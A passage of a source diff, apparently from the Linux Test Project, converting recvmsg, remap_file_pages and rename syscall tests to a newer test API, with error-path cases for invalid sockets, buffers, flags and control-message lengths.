iov, + .iovcnt = 1, + .recv_buf = (void *)recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = ENOTSOCK, + .setup = setup_invalid_sock, + .cleanup = cleanup_invalid_sock, + .desc = "invalid socket", + }, { - PF_INET, SOCK_STREAM, 0, iov, 1, (void *)-1, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - -1, EFAULT, setup1, cleanup1, "invalid recv buffer"} - , -/* 6 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = (void *)recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .flags = -1, + .from = (struct sockaddr *)&from, + .fromlen = -1, + .exp_errno = EINVAL, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid socket length", + }, { - PF_INET, SOCK_STREAM, 0, 0, 1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - -1, EFAULT, setup1, cleanup1, "invalid iovec buffer"} - , -/* 7 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = (void *)-1, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EFAULT, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid recv buffer", + }, { - PF_INET, SOCK_STREAM, 0, iov, -1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - -1, EMSGSIZE, setup1, cleanup1, "invalid iovec count"} - , -/* 8 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EFAULT, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid iovec buffer", + }, { - PF_UNIX, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - 0, 0, setup2, cleanup2, "rights reception"} - , -/* 9 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = -1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EMSGSIZE, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid iovec count", + }, { - PF_INET, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, MSG_OOB, (struct sockaddr *)&from, - sizeof(from), -1, EINVAL, setup1, cleanup1, - "invalid MSG_OOB flag set"} - , -/* 10 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .setup = setup_valid_msg_control, + .cleanup = cleanup_reset_all, + .desc = "permission reception", + }, { - PF_INET, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, MSG_ERRQUEUE, (struct sockaddr *)&from, - sizeof(from), -1, EAGAIN, setup1, cleanup1, - "invalid MSG_ERRQUEUE flag set"} - , -/* 11 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .flags = MSG_OOB, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EINVAL, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid MSG_OOB flag set", + }, { - PF_UNIX, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - 0, EINVAL, setup3, cleanup2, "invalid cmsg length"} - , -/* 12 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .flags = MSG_ERRQUEUE, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EAGAIN, + .setup = setup_valid_sock, + .cleanup = cleanup_close_sock, + .desc = "invalid MSG_ERRQUEUE flag set", + }, { - PF_UNIX, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)&from, sizeof(from), - 0, 0, setup4, cleanup2, "large cmesg length"} -,}; - -int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]); - -#ifdef UCLINUX -static char *argv0; -#endif - -int main(int argc, char *argv[]) + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .setup = setup_large_msg_control, + .cleanup = cleanup_reset_all, + .desc = "large cmesg length", + }, + +}; + +static void run(unsigned int n) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); -#ifdef UCLINUX - argv0 = argv[0]; - maybe_run_child(&do_child, "dd", &sfd, &ufd); -#endif - - setup(); - - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; ++testno) { - if ((tst_kvercmp(3, 17, 0) < 0) - && (tdat[testno].flags & MSG_ERRQUEUE) - && (tdat[testno].type & SOCK_STREAM)) { - tst_resm(TCONF, "skip MSG_ERRQUEUE test, " - "it's supported from 3.17"); - continue; - } + struct tcase *tc = &tcases[n]; + int ret = tc->exp_errno ? -1 : 0; - tdat[testno].setup(); - - /* setup common to all tests */ - iov[0].iov_base = tdat[testno].buf; - iov[0].iov_len = tdat[testno].buflen; - msgdat.msg_name = tdat[testno].from; - msgdat.msg_namelen = tdat[testno].fromlen; - msgdat.msg_iov = tdat[testno].iov; - msgdat.msg_iovlen = tdat[testno].iovcnt; - msgdat.msg_control = control; - msgdat.msg_controllen = controllen; - msgdat.msg_flags = 0; - - TEST(recvmsg(s, tdat[testno].msg, tdat[testno].flags)); - if (TEST_RETURN >= 0) - TEST_RETURN = 0; /* all nonzero equal here */ - if (TEST_RETURN != tdat[testno].retval || - (TEST_RETURN < 0 && - TEST_ERRNO != tdat[testno].experrno)) { - tst_resm(TFAIL, "%s ; returned" - " %ld (expected %d), errno %d (expected" - " %d)", tdat[testno].desc, - TEST_RETURN, tdat[testno].retval, - TEST_ERRNO, tdat[testno].experrno); - } else { - tst_resm(TPASS, "%s successful", - tdat[testno].desc); - } - tdat[testno].cleanup(); - } + if ((tst_kvercmp(3, 17, 0) < 0) + && (tc->flags & MSG_ERRQUEUE) + && (tc->type & SOCK_STREAM)) { + tst_res(TCONF, "MSG_ERRQUEUE requires kernel >= 3.17"); + return; + } + + setup_all(); + tc->setup(n); + + iov[0].iov_base = tc->recv_buf; + iov[0].iov_len = tc->buflen; + msgdat.msg_name = tc->from; + msgdat.msg_namelen = tc->fromlen; + msgdat.msg_iov = tc->iov; + msgdat.msg_iovlen = tc->iovcnt; + msgdat.msg_control = control; + msgdat.msg_controllen = controllen; + msgdat.msg_flags = 0; + + TEST(recvmsg(sock, tc->msg, tc->flags)); + if (TST_RET >= 0) + TST_RET = 0; + + if (TST_RET != ret) { + tst_res(TFAIL | TTERRNO, "%s: expected %d, returned %ld", + tc->desc, ret, TST_RET); + } else if (TST_ERR != tc->exp_errno) { + tst_res(TFAIL | TTERRNO, + "%s: expected %s", + tc->desc, tst_strerrno(tc->exp_errno)); + } else { + tst_res(TPASS, "%s passed", tc->desc); } - cleanup(); - tst_exit(); + tc->cleanup(n); + cleanup_all(); } -pid_t pid; -char tmpsunpath[1024]; -void setup(void) +static void setup_all(void) { int tfd; - TEST_PAUSE; - tst_tmpdir(); + sun1.sun_family = AF_UNIX; + (void)strcpy(tmpsunpath, "udsockXXXXXX"); tfd = mkstemp(tmpsunpath); - close(tfd); - unlink(tmpsunpath); - sun1.sun_family = AF_UNIX; + SAFE_CLOSE(tfd); + SAFE_UNLINK(tmpsunpath); (void)strcpy(sun1.sun_path, tmpsunpath); - - signal(SIGPIPE, SIG_IGN); - + SAFE_SIGNAL(SIGPIPE, SIG_IGN); pid = start_server(&sin1, &sun1); } -void cleanup(void) +static void cleanup_all(void) { - if (pid > 0) + if (pid > 0) { (void)kill(pid, SIGKILL); /* kill server */ - if (tmpsunpath[0] != '\0') - (void)unlink(tmpsunpath); - tst_rmdir(); + wait(NULL); + } + if (tmpsunpath[0] != '\0') + (void)SAFE_UNLINK(tmpsunpath); } -void setup0(void) +static void setup_invalid_sock(int n) { - if (tdat[testno].experrno == EBADF) - s = 400; /* anything not an open file */ - else if ((s = open("/dev/null", O_WRONLY)) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "open(/dev/null) failed"); + if (tcases[n].exp_errno == EBADF) + sock = 400; /* anything not an open file */ + else + sock = SAFE_OPEN("/dev/null", O_WRONLY); } -void cleanup0(void) +static void cleanup_invalid_sock(int n) { - s = -1; + if (tcases[n].exp_errno == EBADF) + sock = -1; + else + SAFE_CLOSE(sock); } -void setup1(void) +static void setup_valid_sock(int n) { fd_set rdfds; struct timeval timeout; - int n; - - s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type, - tdat[testno].proto); - if (tdat[testno].type == SOCK_STREAM) { - if (tdat[testno].domain == PF_INET) { - SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, - sizeof(sin1)); + + sock = SAFE_SOCKET(tcases[n].domain, tcases[n].type, tcases[n].protocol); + + if (tcases[n].type == SOCK_STREAM) { + if (tcases[n].domain == PF_INET) { + SAFE_CONNECT(sock, (struct sockaddr *)&sin1, sizeof(sin1)); /* Wait for something to be readable, else we won't detect EFAULT on recv */ FD_ZERO(&rdfds); - FD_SET(s, &rdfds); + FD_SET(sock, &rdfds); timeout.tv_sec = 2; timeout.tv_usec = 0; - n = select(s + 1, &rdfds, 0, 0, &timeout); - if (n != 1 || !FD_ISSET(s, &rdfds)) - tst_brkm(TBROK, cleanup, - "client setup1 failed - no message ready in 2 sec"); - } else if (tdat[testno].domain == PF_UNIX) { - SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sun1, - sizeof(sun1)); + n = select(sock + 1, &rdfds, 0, 0, &timeout); + + if (n != 1 || !FD_ISSET(sock, &rdfds)) + tst_brk(TBROK, "no message ready in %d sec", (int)timeout.tv_sec); + + } else if (tcases[n].domain == PF_UNIX) { + SAFE_CONNECT(sock, (struct sockaddr *)&sun1, sizeof(sun1)); } } } -void setup2(void) +static void setup_valid_msg_control(int n) { - setup1(); - if (write(s, "R", 1) < 0) - tst_brkm(TBROK | TERRNO, cleanup, "test setup failed: write:"); + setup_valid_sock(n); + SAFE_SEND(1, sock, "R", 1, 0); control = (struct cmsghdr *)cbuf; controllen = control->cmsg_len = sizeof(cbuf); } -void setup3(void) +static void setup_large_msg_control(int n) { - setup2(); - controllen = sizeof(struct cmsghdr) - 1; + setup_valid_msg_control(n); + controllen = CONTROL_LEN; } -void setup4(void) +static void cleanup_close_sock(int n LTP_ATTRIBUTE_UNUSED) { - setup2(); - controllen = 128 * 1024; + SAFE_CLOSE(sock); } -void cleanup1(void) +static void cleanup_reset_all(int n LTP_ATTRIBUTE_UNUSED) { - (void)close(s); - close(ufd); - close(sfd); - s = -1; -} + SAFE_CLOSE(sock); -void cleanup2(void) -{ - close(ufd); - close(sfd); - (void)close(s); - s = -1; - - if (passed_fd >= 0) - (void)close(passed_fd); - passed_fd = -1; control = 0; controllen = 0; } @@ -370,63 +365,70 @@ pid_t start_server(struct sockaddr_in *ssin, struct sockaddr_un *ssun) ssin->sin_addr.s_addr = INADDR_ANY; /* set up inet socket */ - sfd = socket(PF_INET, SOCK_STREAM, 0); - if (sfd < 0) { - tst_brkm(TBROK | TERRNO, cleanup, "server socket failed"); - return -1; - } - if (bind(sfd, (struct sockaddr *)ssin, sizeof(*ssin)) < 0) { - tst_brkm(TBROK | TERRNO, cleanup, "server bind failed"); - return -1; - } - if (listen(sfd, 10) < 0) { - tst_brkm(TBROK | TERRNO, cleanup, "server listen failed"); - return -1; - } - SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)ssin, &slen); + sfd = SAFE_SOCKET(PF_INET, SOCK_STREAM, 0); + SAFE_BIND(sfd, (struct sockaddr *)ssin, sizeof(*ssin)); + SAFE_LISTEN(sfd, 10); + SAFE_GETSOCKNAME(sfd, (struct sockaddr *)ssin, &slen); /* set up UNIX-domain socket */ - ufd = socket(PF_UNIX, SOCK_STREAM, 0); - if (ufd < 0) { - tst_brkm(TBROK | TERRNO, cleanup, "server UD socket failed"); - return -1; - } - if (bind(ufd, (struct sockaddr *)ssun, sizeof(*ssun))) { - tst_brkm(TBROK | TERRNO, cleanup, "server UD bind failed"); - return -1; - } - if (listen(ufd, 10) < 0) { - tst_brkm(TBROK | TERRNO, cleanup, "server UD listen failed"); - return -1; - } + ufd = SAFE_SOCKET(PF_UNIX, SOCK_STREAM, 0); + SAFE_BIND(ufd, (struct sockaddr *)ssun, sizeof(*ssun)); + SAFE_LISTEN(ufd, 10); - switch ((pid = FORK_OR_VFORK())) { - case 0: /* child */ -#ifdef UCLINUX - if (self_exec(argv0, "dd", sfd, ufd) < 0) - tst_brkm(TBROK | TERRNO, cleanup, - "server self_exec failed"); -#else + pid = SAFE_FORK(); + if (!pid) { do_child(); -#endif - break; - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "server fork failed"); - /* fall through */ - default: /* parent */ - (void)close(sfd); - (void)close(ufd); - return pid; + exit(1); } - exit(1); + + SAFE_CLOSE(sfd); + SAFE_CLOSE(ufd); + + return pid; +} + +/* for permission test */ +static void sender(int fd) +{ + struct msghdr mh = {}; + struct cmsghdr *control; + char tmpfn[BUF_SIZE] = ""; + char snd_cbuf[BUF_SIZE] = ""; + int tfd; + + (void)strcpy(tmpfn, "smtXXXXXX"); + tfd = mkstemp(tmpfn); + if (tfd < 0) + return; + + /* set up cmsghdr */ + control = (struct cmsghdr *)snd_cbuf; + control->cmsg_len = sizeof(struct cmsghdr) + 4; + control->cmsg_level = SOL_SOCKET; + control->cmsg_type = SCM_RIGHTS; + *(int *)CMSG_DATA(control) = tfd; + + /* set up msghdr */ + iov[0].iov_base = MSG; + iov[0].iov_len = sizeof(MSG); + mh.msg_iov = iov; + mh.msg_iovlen = 1; + mh.msg_flags = 0; + mh.msg_control = control; + mh.msg_controllen = control->cmsg_len; + + /* do it */ + SAFE_SENDMSG(sizeof(MSG), fd, &mh, 0); + SAFE_CLOSE(tfd); + (void)SAFE_UNLINK(tmpfn); } -void do_child(void) +static void do_child(void) { struct sockaddr_in fsin; struct sockaddr_un fsun; fd_set afds, rfds; - int nfds, cc, fd; + int nfds, fd; FD_ZERO(&afds); FD_SET(sfd, &afds); @@ -452,19 +454,19 @@ void do_child(void) int newfd; fromlen = sizeof(fsin); - newfd = accept(sfd, (struct sockaddr *)&fsin, &fromlen); + newfd = SAFE_ACCEPT(sfd, (struct sockaddr *)&fsin, &fromlen); if (newfd >= 0) { FD_SET(newfd, &afds); nfds = MAX(nfds, newfd + 1); /* send something back */ - (void)write(newfd, "hoser\n", 6); + SAFE_SEND(1, newfd, "hi", 2, 0); } } if (FD_ISSET(ufd, &rfds)) { int newfd; fromlen = sizeof(fsun); - newfd = accept(ufd, (struct sockaddr *)&fsun, &fromlen); + newfd = SAFE_ACCEPT(ufd, (struct sockaddr *)&fsun, &fromlen); if (newfd >= 0) { FD_SET(newfd, &afds); nfds = MAX(nfds, newfd + 1); @@ -472,55 +474,22 @@ void do_child(void) } for (fd = 0; fd < nfds; ++fd) if (fd != sfd && fd != ufd && FD_ISSET(fd, &rfds)) { - char rbuf[1024]; + char rbuf[BUF_SIZE]; - cc = read(fd, rbuf, sizeof(rbuf)); - if (cc && rbuf[0] == 'R') + TEST(read(fd, rbuf, sizeof(rbuf))); + if (TST_RET > 0 && rbuf[0] == 'R') sender(fd); - if (cc == 0 || (cc < 0 && errno != EINTR)) { - (void)close(fd); + if (TST_RET == 0 || (TST_RET < 0 && TST_ERR != EINTR)) { + close(fd); FD_CLR(fd, &afds); } } } } -#define TM "from recvmsg01 server" - -/* special for rights-passing test */ -void sender(int fd) -{ - struct msghdr mh; - struct cmsghdr *control; - char tmpfn[1024], snd_cbuf[1024]; - int tfd; - - (void)strcpy(tmpfn, "smtXXXXXX"); - tfd = mkstemp(tmpfn); - if (tfd < 0) - return; - - memset(&mh, 0x00, sizeof(mh)); - - /* set up cmsghdr */ - control = (struct cmsghdr *)snd_cbuf; - memset(control, 0x00, sizeof(struct cmsghdr)); - control->cmsg_len = sizeof(struct cmsghdr) + 4; - control->cmsg_level = SOL_SOCKET; - control->cmsg_type = SCM_RIGHTS; - *(int *)CMSG_DATA(control) = tfd; - - /* set up msghdr */ - iov[0].iov_base = TM; - iov[0].iov_len = sizeof(TM); - mh.msg_iov = iov; - mh.msg_iovlen = 1; - mh.msg_flags = 0; - mh.msg_control = control; - mh.msg_controllen = control->cmsg_len; - - /* do it */ - (void)sendmsg(fd, &mh, 0); - (void)close(tfd); - (void)unlink(tmpfn); -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .forks_child = 1, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg02.c b/testcases/kernel/syscalls/recvmsg/recvmsg02.c index b15b3786..3aac4dd3 100755 --- a/testcases/kernel/syscalls/recvmsg/recvmsg02.c +++ b/testcases/kernel/syscalls/recvmsg/recvmsg02.c @@ -94,7 +94,6 @@ static void cleanup(void) } static struct tst_test test = { - .min_kver = "2.6.27", .test_all = verify_recvmsg, .cleanup = cleanup, .tags = (const struct tst_tag[]) { diff --git a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages01.c b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages01.c index 631db51a..09143a2d 100755 --- a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages01.c +++ b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages01.c @@ -113,15 +113,6 @@ int main(int ac, char **av) { int lc; -#if defined (__s390__) || (__s390x__) || (__ia64__) - /* Disables the test in case the kernel version is lower than 2.6.12 and arch is s390 */ - if ((tst_kvercmp(2, 6, 12)) < 0) { - tst_resm(TWARN, - "This test can only run on kernels that are 2.6.12 and higher"); - exit(0); - } -#endif - tst_parse_opts(ac, av, NULL, NULL); setup(); diff --git a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c index 1d8f620c..d296022c 100755 --- a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c +++ b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c @@ -121,12 +121,6 @@ static void setup(void) { unsigned int i; -#if defined (__s390__) || (__s390x__) || (__ia64__) - if ((tst_kvercmp(2, 6, 12)) < 0) - tst_brk(TCONF, - "This test can only run on kernels that are 2.6.12 and higher"); -#endif - page_sz = getpagesize(); fd = SAFE_OPEN("cache", O_RDWR | O_CREAT | O_TRUNC, S_IRWXU); diff --git a/testcases/kernel/syscalls/rename/.gitignore b/testcases/kernel/syscalls/rename/.gitignore index 6c10aeab..f95cf7d2 100755 --- a/testcases/kernel/syscalls/rename/.gitignore +++ b/testcases/kernel/syscalls/rename/.gitignore @@ -1,5 +1,4 @@ /rename01 -/rename02 /rename03 /rename04 /rename05 diff --git a/testcases/kernel/syscalls/rename/rename01.c b/testcases/kernel/syscalls/rename/rename01.c index e7de18ff..159341d0 100755 --- a/testcases/kernel/syscalls/rename/rename01.c +++ b/testcases/kernel/syscalls/rename/rename01.c @@ -1,218 +1,83 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename01 - * - * DESCRIPTION - * This test will verify the rename(2) syscall basic functionality. - * Verify rename() works when the "new" file or directory does not exist. - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * 1. "old" is plain file, new does not exists - * create the "old" file, make sure the "new" file - * dose not exist - * rename the "old" to the "new" file - * verify the "new" file points to the "old" file - * verify the "old" file does not exist +/*\ + * [Description] * - * 2. "old" is a directory,"new" does not exists - * create the "old" directory, make sure "new" - * dose not exist - * rename the "old" to the "new" - * verify the "new" points to the "old" - * verify the "old" does not exist - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None. - */ -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -void setup(); -void cleanup(); - -char *TCID = "rename01"; -int TST_TOTAL = 2; - -char fname[255], mname[255]; -char fdir[255], mdir[255]; -struct stat buf1; -dev_t f_olddev, d_olddev; -ino_t f_oldino, d_oldino; - -struct test_case_t { - char *name1; - char *name2; - char *desc; - dev_t *olddev; - ino_t *oldino; -} TC[] = { - /* comment goes here */ - { - fname, mname, "file", &f_olddev, &f_oldino}, - /* comment goes here */ - { - fdir, mdir, "directory", &d_olddev, &d_oldino} -}; - -int main(int ac, char **av) -{ - int lc; - int i; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(rename(TC[i].name1, TC[i].name2)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "call failed unexpectedly"); - continue; - } - - SAFE_STAT(cleanup, TC[i].name2, &buf1); - - /* - * verify the new file or directory is the - * same as the old one - */ - if (buf1.st_dev != *TC[i].olddev || - buf1.st_ino != *TC[i].oldino) { - tst_resm(TFAIL, "rename() failed: the " - "new %s points to a different " - "inode/location", TC[i].desc); - continue; - } - /* - * verify that the old file or directory - * does not exist - */ - if (stat(fname, &buf1) != -1) { - tst_resm(TFAIL, "the old %s still " - "exists", TC[i].desc); - continue; - } - - tst_resm(TPASS, "functionality is correct " - "for renaming a %s", TC[i].desc); - } - /* reset things in case we are looping */ - SAFE_RENAME(cleanup, mname, fname); - - SAFE_RENAME(cleanup, mdir, fdir); - } - - cleanup(); - tst_exit(); - -} - -/* - * setup() - performs all ONE TIME setup for this test. + * Verify rename() when the newpath file or directory does not exist. */ -void setup(void) -{ - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - TEST_PAUSE; +#include +#include "tst_test.h" - /* Create a temporary directory and make it current. */ - tst_tmpdir(); +#define MNT_POINT "mntpoint" - sprintf(fname, "./tfile_%d", getpid()); - sprintf(mname, "./rnfile_%d", getpid()); - sprintf(fdir, "./tdir_%d", getpid()); - sprintf(mdir, "./rndir_%d", getpid()); +static const char *old_file_name = "oldfile"; +static const char *old_dir_name = "olddir"; +static const char *new_file_name = "newfile"; +static const char *new_dir_name = "newdir"; - SAFE_TOUCH(cleanup, fname, 0700, NULL); +static struct stat old_file_st, old_dir_st, new_file_st, new_dir_st; - SAFE_STAT(cleanup, fname, &buf1); - - f_olddev = buf1.st_dev; - f_oldino = buf1.st_ino; +static inline void swap(const char **a, const char **b) +{ + const char *tmp__ = *a; + *a = *b; + *b = tmp__; +} - /* create "old" directory */ - SAFE_MKDIR(cleanup, fdir, 00770); +static void setup(void) +{ + SAFE_CHDIR(MNT_POINT); - SAFE_STAT(cleanup, fdir, &buf1); + SAFE_TOUCH(old_file_name, 0700, NULL); + SAFE_MKDIR(old_dir_name, 00770); - d_olddev = buf1.st_dev; - d_oldino = buf1.st_ino; + SAFE_STAT(old_file_name, &old_file_st); + SAFE_STAT(old_dir_name, &old_dir_st); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) +static void run(void) { - - /* - * Remove the temporary directory. - */ - tst_rmdir(); + TST_EXP_PASS(rename(old_file_name, new_file_name), + "rename(%s, %s)", + old_file_name, new_file_name); + TST_EXP_PASS(rename(old_dir_name, new_dir_name), + "rename(%s, %s)", + old_dir_name, new_dir_name); + + SAFE_STAT(new_file_name, &new_file_st); + SAFE_STAT(new_dir_name, &new_dir_st); + + TST_EXP_EQ_LU(old_file_st.st_dev, new_file_st.st_dev); + TST_EXP_EQ_LU(old_file_st.st_ino, new_file_st.st_ino); + + TST_EXP_EQ_LU(old_dir_st.st_dev, new_dir_st.st_dev); + TST_EXP_EQ_LU(old_dir_st.st_ino, new_dir_st.st_ino); + + TST_EXP_FAIL(stat(old_file_name, &old_file_st), + ENOENT, + "stat(%s, &old_file_st)", + old_file_name); + TST_EXP_FAIL(stat(old_dir_name, &old_dir_st), + ENOENT, + "stat(%s, &old_dir_st)", + old_dir_name); + + /* reset between loops */ + swap(&old_file_name, &new_file_name); + swap(&old_dir_name, &new_dir_name); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename03.c b/testcases/kernel/syscalls/rename/rename03.c index 396e95c4..652fa3bd 100755 --- a/testcases/kernel/syscalls/rename/rename03.c +++ b/testcases/kernel/syscalls/rename/rename03.c @@ -1,230 +1,73 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename03 - * - * DESCRIPTION - * This test will verify that rename(2) functions correctly - * when the "new" file or directory exists - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. +/*\ + * [Description] * - * Test: - * Loop if the proper options are given. - * 1. both old and new file exist - * create the "old" file and the "new" file - * rename the "old" to the "new" file - * verify the "new" file points to the "old" file - * verify the "old" file does not exists - * 2. both old file and new directory exist - * create the "old" and the "new" directory - * rename the "old" to the "new" directory - * verify the "new" points to the "old" directory - * verify the "old" does not exists - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename03 [-c n] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None. - */ -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -void setup(); -void setup2(); -void cleanup(); - -char *TCID = "rename03"; -int TST_TOTAL = 2; - -char fname[255], mname[255]; -char fdir[255], mdir[255]; -struct stat buf1, buf2; -dev_t f_olddev, d_olddev; -ino_t f_oldino, d_oldino; - -struct test_case_t { - char *name1; - char *name2; - char *desc; - dev_t *olddev; - ino_t *oldino; -} TC[] = { - { - fname, mname, "file", &f_olddev, &f_oldino}, { - fdir, mdir, "directory", &d_olddev, &d_oldino} -}; - -int main(int ac, char **av) -{ - int lc; - int i; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* set up the files and directories for the tests */ - setup2(); - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(rename(TC[i].name1, TC[i].name2)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "call failed unexpectedly"); - continue; - } - - SAFE_STAT(cleanup, TC[i].name2, &buf2); - - /* - * verify the new file or directory is the - * same as the old one - */ - if (buf2.st_dev != *TC[i].olddev || - buf2.st_ino != *TC[i].oldino) { - tst_resm(TFAIL, "rename() failed: the " - "new %s points to a different " - "inode/location", TC[i].desc); - continue; - } 